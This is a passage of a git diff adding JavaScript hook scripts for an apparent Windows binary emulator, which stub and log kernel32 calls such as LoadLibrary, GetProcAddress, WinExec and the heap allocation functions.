Emu.WriteByte(lpDestStr + i , byte); + } + } + + // console.log("LCMapStringEx({0}, {1}, 0x{2}, {3}, 0x{4}, {5})".format( + // Locale, + // dwMapFlags, + // lpSrcStr.toString(16), + // cchSrc, + // lpDestStr.toString(16), + // cchDest + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, cchSrc); // just for now :P . + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // we handled the Stack and other things :D . +}; + +LCMapStringEx.install('kernel32.dll', 'LCMapStringEx'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetStringTypeW = new ApiHook(); +GetStringTypeW.OnCallBack = function (Emu, API, ret) { + + // just let the library handle it :D + return true; +}; + +GetStringTypeW.install('kernel32.dll', 'GetStringTypeW'); +GetStringTypeW.install('api-ms-win-core-string-l1-1-0.dll', 'GetStringTypeW'); + +/* +################################################################################################### +################################################################################################### +*/ + diff --git a/Build/hooks/kernel32.js b/Build/hooks/kernel32.js new file mode 100644 index 0000000..9a6bb98 --- /dev/null +++ b/Build/hooks/kernel32.js @@ -0,0 +1,2157 @@ +'use strict'; + + + +var RegKrnInitialize = new ApiHook(); +RegKrnInitialize.OnCallBack = function (Emu, API,ret) { + + Emu.pop()// ret + + var Base = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var Reason = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var revered = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + print("RegKrnInitialize(0x{0},0x{1},0x{2})".format( + Base.toString(16), + Reason.toString(16), + revered.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +RegKrnInitialize.install('kernel32.dll', 'RegKrnInitialize'); + +/* +################################################################################################### +################################################################################################### +*/ +var ExitProcess = new ApiHook(); +ExitProcess.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); + + var ExitCode = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + error("{0}(0x{1})".format( + API.name, + ExitCode.toString(16) + )); + + Emu.Stop(); + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +ExitProcess.install('kernel32.dll', 'FatalExit'); +ExitProcess.install('kernel32.dll', 'ExitProcess'); +ExitProcess.install('ntdll.dll', 'RtlExitUserProcess'); + +/* +################################################################################################### +################################################################################################### +*/ + +var IsDebuggerPresent = new ApiHook(); +IsDebuggerPresent.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret + + warn('0x',ret.toString(16),' : IsDebuggerPresent = 0'); + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; +}; +IsDebuggerPresent.install('kernel32.dll', 'IsDebuggerPresent'); + +// TODO: remove after implementing apisetschema Forwarder . +IsDebuggerPresent.install('api-ms-win-core-debug-l1-1-0.dll', 'IsDebuggerPresent'); + +/* +################################################################################################### +################################################################################################### +*/ + +var OpenProcess = new ApiHook(); +OpenProcess.OnCallBack = function (Emu, API,ret) { + + print('OpenProcess : TODO or implement it your self :P '); + + return false; // true if you handle it false if you want Emu to handle it and set PC . +}; +OpenProcess.install('kernel32.dll', 'OpenProcess'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetModuleHandleW = new ApiHook(); +GetModuleHandleW.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret PC .. + + var mPtr; + var handle; + var text; + + if (Emu.isx64){ + + mPtr = Emu.ReadReg(REG_RCX); + + if (mPtr !== 0){ + text = API.IsWapi ? Emu.ReadStringW(mPtr) : Emu.ReadStringA(mPtr); + handle = Emu.GetModuleHandle(text); // return module handle (Base Address). + }else{ + handle = Emu.ImageBase; + } + + } else { + + mPtr = Emu.pop(); // module str Pointer .. + if (mPtr !== 0) { + + text = API.IsWapi ? Emu.ReadStringW(mPtr) : Emu.ReadStringA(mPtr); + handle = Emu.GetModuleHandle(text); + + }else{ + handle = Emu.ImageBase; + } + } + + if (text == undefined){ + text = '#0' + } + + var log = "GetModuleHandle('{0}') = {1} ".format( + text, + handle.toString(16).toUpperCase() + ); + + console.log(log); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, handle); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true;// true if you handle it false if you want Emu to handle it and set PC . +}; + +GetModuleHandleW.install('kernel32.dll', 'GetModuleHandleW'); +GetModuleHandleW.install('kernel32.dll', 'GetModuleHandleA'); + +GetModuleHandleW.install('api-ms-win-core-libraryloader-l1-1-0.dll', 'GetModuleHandleW'); +// api-ms-win-core-libraryloader-l1-1-0.dll.GetModuleHandleW +/* +################################################################################################### +################################################################################################### +*/ + +var GetProcAddress = new ApiHook(); +/* FFARPROC WINAPI GetProcAddress( HMODULE hModule, LPCSTR lpProcName);*/ +GetProcAddress.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // pc + + var hModule; + var pName; + var FnName; + + if (Emu.isx64) { + hModule = Emu.ReadReg(REG_RCX); + pName = Emu.ReadReg(REG_RDX); + }else{ + hModule = Emu.pop(); + pName = Emu.pop(); + } + + FnName = Emu.ReadStringA(pName); + + // GetProcAddr will get Base of lib if loaded by the PE . + var addr = Emu.GetProcAddr(hModule, FnName); + + warn("GetProcAddress(0x{0},'{1}') = 0x{2}".format( + hModule.toString(16).toUpperCase(), + FnName, + addr.toString(16).toUpperCase() + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, addr); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetProcAddress.install('kernel32.dll', 'GetProcAddress'); +GetProcAddress.install('kernelbase.dll', 'GetProcAddress'); + +/* +################################################################################################### +################################################################################################### +*/ +var LoadLibrary = new ApiHook(); +/* +HMODULE WINAPI LoadLibrary( + _In_ LPCTSTR lpFileName +); + +HMODULE LoadLibraryExW( + LPCWSTR lpLibFileName, + HANDLE hFile, + DWORD dwFlags +); +*/ +LoadLibrary.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret PC .. + + var lpFileName = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + var Libname = API.IsWapi ? Emu.ReadStringW(lpFileName) : Emu.ReadStringA(lpFileName); + + var handle = Emu.LoadLibrary(Libname); + + if (API.IsEx) { + + var hFile = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + log("{0}('{1}', 0x{2}, 0x{3}) = 0x{4}".format( + API.name, + Libname, + hFile.toString(16), + dwFlags.toString(16), + handle.toString(16) + )); + + } else { + + print("{0}('{1}') = 0x{2}".format( + API.name, + Libname, + handle.toString(16) + )); + } + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, handle); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true;// true if you handle it false if you want Emu to handle it and set PC . +}; + +LoadLibrary.install('kernel32.dll', 'LoadLibraryA'); // Ordinal = 829 in Current dll i use. +LoadLibrary.install('kernel32.dll', 'LoadLibraryW'); + +LoadLibrary.install('kernel32.dll', 'LoadLibraryExA'); +LoadLibrary.install('kernel32.dll', 'LoadLibraryExW'); + +/* +################################################################################################### +################################################################################################### +*/ + + +var FreeLibrary = new ApiHook(); +/* + BOOL WINAPI FreeLibrary( + _In_ HMODULE hModule + ); +*/ +FreeLibrary.OnCallBack = function (Emu, API,ret) { + + Emu.pop(); // ret PC .. + + var hModule = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + print("FreeLibrary('0x{0}')".format( + hModule.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true;// true if you handle it false if you want Emu to handle it and set PC . +}; + +FreeLibrary.install('kernel32.dll', 'FreeLibrary'); +/* +################################################################################################### +################################################################################################### +*/ +var WinExec = new ApiHook(); +/* UINT WINAPI WinExec( LPCSTR lpCmdLine, UINT uCmdShow); */ +WinExec.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // PC + + var cmd = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var show = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + warn("WinExec('{0}', {1})".format( + Emu.ReadStringA(cmd), + show + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 32); // return 32 << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +WinExec.install('kernel32.dll', 'WinExec'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetTempPathA = new ApiHook(); +/* +DWORD WINAPI GetTempPath( + __in DWORD nBufferLength, + __out LPTSTR lpBuffer +); +*/ +GetTempPathA.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // PC - EIP .. + + if (Emu.isx64) { + print('TODO: x64 for GetTempPath'); + return false; + } else { + + var BufLen = Emu.pop(); // nBufferLength + var lpBuffer = Emu.pop(); // lpBuffer + + var tmp = "C:\\Windows\\Temp\\"; + var len = Emu.WriteStringA(lpBuffer,tmp); // lpCmdLine . + + if (len > 0){ + var msg = "GetTempPathA({0}, {1}) = {2} - '{3}'".format( + BufLen, + lpBuffer.toString(16), + len, + tmp + ); + console.log(msg); + } + + } + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); // return 32 << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetTempPathA.install('kernel32.dll', 'GetTempPathA'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetWindowsDirectory = new ApiHook(); +/* +UINT WINAPI GetWindowsDirectory( + _Out_ LPTSTR lpBuffer, + _In_ UINT uSize +); +*/ +GetWindowsDirectory.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return addr .. + + var lpBuffer = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var uSize = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + var tmp = "C:\\Windows"; + var len = API.IsWapi ? Emu.WriteStringW(lpBuffer,tmp) : Emu.WriteStringA(lpBuffer,tmp); // lpCmdLine . + + if (len > 0){ + var msg = "GetWindowsDirectory{0}({1}, {2}) = {3} - '{4}'".format( + API.IsWapi ? 'W' : 'A', + lpBuffer.toString(16), + uSize, + len, + tmp + ); + console.log(msg); + } + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); // return len << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetWindowsDirectory.install('kernel32.dll', 'GetWindowsDirectoryA'); +GetWindowsDirectory.install('kernel32.dll', 'GetWindowsDirectoryW'); + + +/* +################################################################################################### +################################################################################################### +*/ + +// 0028E9F4 0028EA18 L"C:\\Windows\\system32" +var GetSystemDirectory = new ApiHook(); +/* +UINT WINAPI GetSystemDirectory( + _Out_ LPTSTR lpBuffer, + _In_ UINT uSize +); +*/ +GetSystemDirectory.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return addr .. + + var lpBuffer = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var uSize = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + var tmp = "C:\\Windows\\system32"; + var len = API.IsWapi ? Emu.WriteStringW(lpBuffer,tmp) : Emu.WriteStringA(lpBuffer,tmp); // lpCmdLine . + + if (len > 0){ + var msg = "GetSystemDirectory{0}({1}, {2}) = {3} - '{4}'".format( + API.IsWapi ? 'W' : 'A', + lpBuffer.toString(16), + uSize, + len, + tmp + ); + console.log(msg); + } + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); // return len << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetSystemDirectory.install('kernel32.dll', 'GetSystemDirectoryA'); +GetSystemDirectory.install('kernel32.dll', 'GetSystemDirectoryW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetCurrentDirectory = new ApiHook(); +/* +DWORD GetCurrentDirectory( + DWORD nBufferLength, + LPTSTR lpBuffer +); +*/ +GetCurrentDirectory.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return addr .. + + var nBufferLength = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var lpBuffer = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + var len = 0; + var tmp = "C:\\pla"; + + if (nBufferLength > 0){ + len = API.IsWapi ? Emu.WriteStringW(lpBuffer,tmp) : Emu.WriteStringA(lpBuffer,tmp); + } + + log("{0}({1}, {2}) = '{3}'".format( + API.name, + nBufferLength, + lpBuffer.toString(16), + (len > 0) ? tmp : '' + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); // return len << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetCurrentDirectory.install('kernel32.dll', 'GetCurrentDirectoryA'); +GetCurrentDirectory.install('kernel32.dll', 'GetCurrentDirectoryW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetFullPathName = new ApiHook(); +/* +DWORD GetFullPathName( + LPCSTR lpFileName, + DWORD nBufferLength, + LPSTR lpBuffer, + LPSTR *lpFilePart +); +*/ +GetFullPathName.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return addr .. + + var lpFileName = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var nBufferLength = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var lpBuffer = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var lpFilePart = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + var len = 0; + + if (lpFileName !== 0){ + + var FileName = API.IsWapi ? Emu.ReadStringW(lpFileName) : Emu.ReadStringA(lpFileName); + + len = API.IsWapi ? Emu.WriteStringW(lpBuffer,FileName) : Emu.WriteStringA(lpBuffer,FileName); + + API.IsWapi ? Emu.WriteWord(lpBuffer + (len * 2),0) : Emu.WriteByte(lpBuffer+len,0); + } + + log("{0}('{1}', {2}, 0x{3}, 0x{4})".format( + API.name, + FileName, + nBufferLength, + lpBuffer.toString(16), + lpFilePart.toString(16) + )); + + // Emu.HexDump(lpFileName,32); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); // return len << from MS docs. + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetFullPathName.install('kernel32.dll', 'GetFullPathNameA'); +GetFullPathName.install('kernel32.dll', 'GetFullPathNameW'); + +/* +################################################################################################### +################################################################################################### +*/ + +/* +################################################################################################### +################################################################################################### +*/ + +var lstrcat = new ApiHook(); +/* +LPTSTR WINAPI lstrcat( + _Inout_ LPTSTR lpString1, + _In_ LPTSTR lpString2 +); +*/ +lstrcat.OnCallBack = function (Emu, API, ret) { + + // Emu.pop(); // return addr .. + + // if (Emu.isx64) { + // return false; + // } else { + + // var lpString1 = Emu.pop(); // lpString1 + // var lpString2 = Emu.pop(); // lpString2 + + // var lpString1_s = API.IsWapi ? Emu.ReadStringW(lpString1) : Emu.ReadStringA(lpString1); + // var lpString2_s = API.IsWapi ? Emu.ReadStringW(lpString2) : Emu.ReadStringA(lpString2); + + // var StrPtr = lpString1 + (API.IsWapi ? (lpString1_s.length * 2) : lpString1_s.length); // set the next pos to write + + // var len = API.IsWapi ? Emu.WriteStringW(StrPtr,lpString2_s) : Emu.WriteStringA(StrPtr,lpString2_s); + + // var msg = "lstrcat{0}('{1}', '{2}') = {3}".format( + // API.IsWapi ? 'W' : 'A', + // lpString1_s, + // lpString2_s, + // (lpString1_s + lpString2_s) + // ); + // console.log(msg); + // } + + // Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len); // return len << from MS docs. + // Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + return true; // let lib handle it :D +}; +lstrcat.install('kernel32.dll', 'lstrcatA'); +lstrcat.install('kernel32.dll', 'lstrcatW'); + + +/* +################################################################################################### +################################################################################################### +*/ + +var GetVersion = new ApiHook(); +/* DWORD WINAPI GetVersion(void); */ +GetVersion.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); + + /* + +------------------------------------------------------------------------------+ + | | PlatformID | Major version | Minor version | + +------------------------------------------------------------------------------+ + | Windows 95 | Win32Windows | 4 | 0 | + | Windows 98 | Win32Windows | 4 | 10 | + | Windows Me | Win32Windows | 4 | 90 | + | Windows NT 4.0 | Win32NT | 4 | 0 | + | Windows 2000 | Win32NT | 5 | 0 | + | Windows XP | Win32NT | 5 | 1 | + | Windows 2003 | Win32NT | 5 | 2 | + | Windows Vista | Win32NT | 6 | 0 | + | Windows 2008 | Win32NT | 6 | 0 | + | Windows 7 | Win32NT | 6 | 1 | + | Windows 2008 R2 | Win32NT | 6 | 1 | + | Windows 8 | Win32NT | 6 | 2 | + | Windows 8.1 | Win32NT | 6 | 3 | + +------------------------------------------------------------------------------+ + | Windows 10 | Win32NT | 10 | 0 | + +------------------------------------------------------------------------------+ + Win32Windows = 1; | Win32NT = 2; + */ + + var platformId = 2; + var majorVersion = 6; + var minorVersion = 3; + var Version = (platformId << 16) | (minorVersion << 8) | majorVersion; + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, Version); + + + console.log('GetVersion : ', Emu.ReadReg(Emu.isx64 ? REG_RAX : REG_EAX).toString(16) ); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetVersion.install('kernel32.dll', 'GetVersion'); + +/* +################################################################################################### +################################################################################################### +*/ +var GetVersionExW = new ApiHook(); +/* +BOOL WINAPI GetVersionEx( + _Inout_ LPOSVERSIONINFO lpVersionInfo +); +*/ +GetVersionExW.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); +/* +typedef struct _OSVERSIONINFOEXA { + DWORD dwOSVersionInfoSize; + DWORD dwMajorVersion; + DWORD dwMinorVersion; + DWORD dwBuildNumber; + DWORD dwPlatformId; + CHAR szCSDVersion[128]; + WORD wServicePackMajor; + WORD wServicePackMinor; + WORD wSuiteMask; + BYTE wProductType; + BYTE wReserved; +} OSVERSIONINFOEXA, *POSVERSIONINFOEXA, *LPOSVERSIONINFOEXA; +*/ + var lpVersionInfo = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + if ( lpVersionInfo > 0x10000 ){ + Emu.WriteDword(lpVersionInfo,156); // dwOSVersionInfoSize + + Emu.WriteDword(lpVersionInfo+4, 6); // dwMajorVersion + Emu.WriteDword(lpVersionInfo+8, 1); // dwMinorVersion + Emu.WriteDword(lpVersionInfo+12,7601); // dwBuildNumber + Emu.WriteDword(lpVersionInfo+16,2); // dwPlatformId + + API.IsWapi ? Emu.WriteStringW(lpVersionInfo+20,'Service Pack 1') : Emu.WriteStringA(lpVersionInfo+20,'Service Pack 1'); + } + + info(API.name,'(0x{0})'.format( + lpVersionInfo.toString(16) + )); + + // Emu.HexDump(lpVersionInfo,120); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetVersionExW.install('kernel32.dll', 'GetVersionEx'); +GetVersionExW.install('kernel32.dll', 'GetVersionExA'); +GetVersionExW.install('kernel32.dll', 'GetVersionExW'); +GetVersionExW.install('api-ms-win-core-sysinfo-l1-1-0.dll', 'GetVersionExW'); + +/* +################################################################################################### +################################################################################################### +*/ + +var Sleep = new ApiHook(); + +Sleep.OnCallBack = function (Emu, API, ret) { + + + // Emu.Stop(); + // console.log('Sleep stop for testing '); + // return false; + + Emu.pop();// return address . + + var dwMilliseconds = Emu.pop(); + warn('Sleep(',dwMilliseconds,')'); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +Sleep.install('kernel32.dll', 'Sleep'); // 0x4B3 by Ordinal for testing + +/* +################################################################################################### +################################################################################################### +*/ + +var SetThreadLocale = new ApiHook(); +/* +BOOL SetThreadLocale( + LCID Locale +); +*/ +SetThreadLocale.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return address + + var locale = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + console.log('SetThreadLocale(',locale,')'); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +SetThreadLocale.install('kernel32.dll', 'SetThreadLocale'); + +/* +################################################################################################### +################################################################################################### +*/ + +var GetSystemInfo = new ApiHook(); +/* +void WINAPI GetSystemInfo( + _Out_ LPSYSTEM_INFO lpSystemInfo +); +*/ +GetSystemInfo.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return address + + var lpSystemInfo = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + error('GetSystemInfo(lpSystemInfo = 0x', lpSystemInfo.toString(16) ,') - TODO Set data to lpSystemInfo '); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +GetSystemInfo.install('kernel32.dll', 'GetSystemInfo'); + +/* +################################################################################################### +################################################################################################### +*/ + +var pla = 0x40000000; // TODO: make it dynamic . + + +var LocalAlloc = new ApiHook(); +/* +DECLSPEC_ALLOCATOR HLOCAL LocalAlloc( + UINT uFlags, + SIZE_T uBytes +); +*/ +LocalAlloc.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return address + + var uFlags = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var uBytes = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + + console.log('LocalAlloc({0}, {1}) = 0x{2}'.format(uFlags,uBytes,(pla).toString(16))); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, pla ); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + + + pla += uBytes; + + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +LocalAlloc.install('kernel32.dll', 'LocalAlloc'); + +LocalAlloc.install('api-ms-win-core-misc-l1-1-0.dll', 'LocalAlloc'); + +/* +################################################################################################### +################################################################################################### +*/ + +var LocalFree = new ApiHook(); +/* +HLOCAL LocalFree( + _Frees_ptr_opt_ HLOCAL hMem +); +*/ +LocalFree.OnCallBack = function (Emu, API, ret) { + + Emu.pop(); // return address + + var hMem = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + + log('LocalFree(0x{0})'.format( + hMem.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0 ); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; +LocalFree.install('kernel32.dll', 'LocalFree'); + +/* +################################################################################################### +################################################################################################### +*/ + +var HeapCreate = new ApiHook(); +/* +HANDLE HeapCreate( + DWORD flOptions, + SIZE_T dwInitialSize, + SIZE_T dwMaximumSize +); +*/ +HeapCreate.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var flOptions = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwInitialSize = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var dwMaximumSize = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + print('HeapCreate({0}, {1}, {2}) = 0x{3}'.format( + flOptions, + dwInitialSize, + dwMaximumSize, + pla.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, pla+0x10); + pla += dwInitialSize + 0x10; + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +HeapCreate.install('kernel32.dll', 'HeapCreate'); +HeapCreate.install('api-ms-win-core-heap-l1-1-0.dll', 'HeapCreate'); + +/* +################################################################################################### +################################################################################################### +*/ + +var HeapFree = new ApiHook(); +/* +BOOL HeapFree( + HANDLE hHeap, + DWORD dwFlags, + LPVOID lpMem +); +*/ +HeapFree.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var hHeap = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var lpMem = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + + // print('HeapFree(0x{0}, {1}, 0x{2}) = always true'.format( + // hHeap.toString(16), + // dwFlags, + // lpMem.toString(16) + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +HeapFree.install('kernel32.dll', 'HeapFree'); + +/* +################################################################################################### +################################################################################################### +*/ + +var HeapSetInformation = new ApiHook(); +/* +BOOL HeapSetInformation( + HANDLE HeapHandle, + HEAP_INFORMATION_CLASS HeapInformationClass, + PVOID HeapInformation, + SIZE_T HeapInformationLength +); +*/ +HeapSetInformation.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var HeapHandle = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var HeapInformationClass = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var HeapInformation = Emu.isx64 ? Emu.ReadReg(REG_R8) : Emu.pop(); + var HeapInformationLength = Emu.isx64 ? Emu.ReadReg(REG_R9) : Emu.pop(); + + print('HeapSetInformation(0x{0}, 0x{1}, 0x{2}, 0x{3})'.format( + HeapHandle.toString(16), + HeapInformationClass.toString(16), + HeapInformation.toString(16), + HeapInformationLength.toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 1); + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +HeapSetInformation.install('kernel32.dll', 'HeapSetInformation'); +/* +################################################################################################### +################################################################################################### +*/ + +var HeapAlloc = new ApiHook(); +/* +DECLSPEC_ALLOCATOR LPVOID HeapAlloc( + HANDLE hHeap, + DWORD dwFlags, + SIZE_T dwBytes +); +*/ +HeapAlloc.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var hHeap = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var dwBytes = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop(); + + // print('HeapAlloc(0x{0}, {1}, {2}) = 0x{3} '.format( + // hHeap.toString(16), + // dwFlags, + // dwBytes, + // (pla + 0x100).toString(16) + // )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, pla+0x10); + pla += dwBytes + 0x10; + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +HeapAlloc.install('kernel32.dll', 'HeapAlloc'); +HeapAlloc.install('api-ms-win-core-heap-l1-1-0.dll', 'HeapAlloc'); + +/* +################################################################################################### +################################################################################################### +*/ + +var VirtualAlloc = new ApiHook(); +/* +DECLSPEC_ALLOCATOR LPVOID VirtualAlloc( + Pointer Addr + SIZE_T Size, + DWORD dwFlags, + DWORD dwAccess +); +*/ +VirtualAlloc.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var Addr = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var Size = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var dwFlags = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop(); + var dwAccess = Emu.isx64 ? Emu.ReadReg(REG_R9D) : Emu.pop(); + + print('VirtualAlloc(0x{0}, {1}, {2}, {3}) = 0x{4} '.format( + Addr.toString(16), + Size, + dwFlags, + dwAccess, + (0x40000000 + Size).toString(16) + )); + + Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, 0x40000000 + Size); + + Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret); + return true; // true if you handle it false if you want Emu to handle it and set PC . +}; + +VirtualAlloc.install('kernel32.dll', 'VirtualAlloc'); + +/* +################################################################################################### +################################################################################################### +*/ + +var VirtualFree = new ApiHook(); +/* +BOOL WINAPI VirtualFree( + _In_ LPVOID lpAddress, + _In_ SIZE_T dwSize, + _In_ DWORD dwFreeType +); +*/ +VirtualFree.OnCallBack = function (Emu, API, ret) { + Emu.pop(); + + + var lpAddress = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop(); + var dwSize = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop(); + var dwFreeType = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop(); + + print('VirtualFree(0x{0}, {1}, {2}) = 0x{4} '.format( + lpAddress.toString(16), + dwSize, + dwFreeType + )); + + Emu.SetReg(Emu.isx64 ? 